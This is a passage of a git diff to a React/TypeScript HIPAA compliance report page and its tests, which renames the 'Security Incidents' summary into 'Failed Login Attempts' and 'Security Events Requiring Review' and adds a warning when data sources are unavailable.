generated_at: '2026-08-11T12:00:00Z', generated_by: 'admin@omnibioai.org', - summary: { total_users: 2, active_users: 1, total_rag_queries: 1, security_incidents: 1 }, + summary: { total_users: 2, active_users: 1, total_rag_queries: 1, failed_login_attempts: 1, security_events_requiring_review: 1 }, user_access: [ { user_label: 'alice@kumc.edu', login_count: 5, last_login: '2026-08-20T10:00:00', failed_attempts: 0 }, ], @@ -48,6 +48,7 @@ const REPORT: HipaaReport = { { timestamp: '2026-08-13T10:00:00', label: 'Role Assignment Denied', actor_label: 'bob@kumc.edu', outcome: 'deny', event_type: 'role_assignment_denied' }, ], truncated: false, + sources_unavailable: [], } async function selectOrgAndGenerate(user: ReturnType) { @@ -84,6 +85,39 @@ describe('ComplianceReport', () => { expect(screen.getByText('Role Assignment Denied')).toBeInTheDocument() }) + it('shows the renamed summary labels, not "Security Incidents"', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue(REPORT) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText('Failed Login Attempts')).toBeInTheDocument()) + expect(screen.getByText('Security Events Requiring Review')).toBeInTheDocument() + expect(screen.queryByText('Security Incidents')).not.toBeInTheDocument() + }) + + it('warns when one or more data sources were unavailable', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue({ + ...REPORT, sources_unavailable: ['RAG query events (omnibioai-billing)'], + }) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText(/some data sources were unavailable/)).toBeInTheDocument()) + expect(screen.getByText(/RAG query events \(omnibioai-billing\)/)).toBeInTheDocument() + }) + + it('does not show the unavailable-sources warning when every source responded', async () => { + vi.mocked(compliance.fetchHipaaReport).mockResolvedValue(REPORT) + const user = userEvent.setup() + render() + await waitFor(() => expect(screen.getByRole('option', { name: 'KUMC Research' })).toBeInTheDocument()) + await selectOrgAndGenerate(user) + await waitFor(() => expect(screen.getByText(/KUMC Research \(org #1\)/)).toBeInTheDocument()) + expect(screen.queryByText(/some data sources were unavailable/)).not.toBeInTheDocument() + }) + it('shows empty-state notes when a section has no rows', async () => { vi.mocked(compliance.fetchHipaaReport).mockResolvedValue({ ...REPORT, user_access: [], rag_queries: [], security_events: [], diff --git a/frontend/cc-ui/src/pages/ComplianceReport.tsx b/frontend/cc-ui/src/pages/ComplianceReport.tsx index 8bc7afd4..17ae5b76 100644 --- a/frontend/cc-ui/src/pages/ComplianceReport.tsx +++ b/frontend/cc-ui/src/pages/ComplianceReport.tsx @@ -182,6 +182,16 @@ function ReportPreview({ report }: { report: HipaaReport }) { )} + {report.sources_unavailable.length > 0 && ( +
+ +
+ )} +
{report.organization_name} (org #{report.organization_id}) · {report.from_date} to {report.to_date} @@ -193,9 +203,14 @@ function ReportPreview({ report }: { report: HipaaReport }) { 0 ? 'red' : 'default'} + label="Failed Login Attempts" + value={report.summary.failed_login_attempts} + accent={report.summary.failed_login_attempts > 0 ? 'amber' : 'default'} + /> + 0 ? 'red' : 'default'} />